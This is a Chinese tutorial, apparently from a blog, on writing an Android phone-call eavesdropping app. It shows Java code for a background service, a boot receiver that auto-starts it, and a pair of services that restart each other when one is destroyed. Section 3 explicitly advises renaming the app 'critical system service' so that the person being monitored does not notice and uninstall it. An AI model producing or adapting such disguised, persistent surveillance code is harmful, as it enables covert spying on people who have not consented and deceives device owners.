1.新建类PhonelistenService继承自Service类
1 | package com.amy.phonelistener; |
2.添加权限
1 | <uses-permission android:name="android.permission.READ_PHONE_STATE"/> |
3.让程序更加健壮
你的程序写出来。用户可以在应用管理里找到。一看是电话窃听器自然就卸载了。所以你可以吧程序名称改成“系统关键服务”,还有,要是用户不打开这个程序,那么这服务就没用。你可以添加一个广播接收者。接收开机完成的消息。一旦开机,就开启这个服务。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16package com.amy.phonelistener;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.sax.StartElementListener;
public class BootReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
Intent i = new Intent(context,PhonelistenService.class);
context.startService(i);
}
}
4.配置清单文件
1 | <receiver android:name="com.amy.phonelistener.BootReceiver"> |
要是你觉得这还不够,你可以写的更流氓一点,
写两个相同服务。当一个销毁的时候开启另一个。
在PhonelistenService 的onDestory方法里添加如下代码。1
2
3
4
5
6
7
public void onDestroy() {
Intent intent = new Intent(this,OtherPhonelistenService.class);
startService(intent);
super.onDestroy();
}
这样两个服务相互守护。当然作为一个 好的程序猿是不会写这样的代码的。
要是取消监听可以这样写:1
tm.listen(listener, PhoneStateListener.LISTEN_NONE);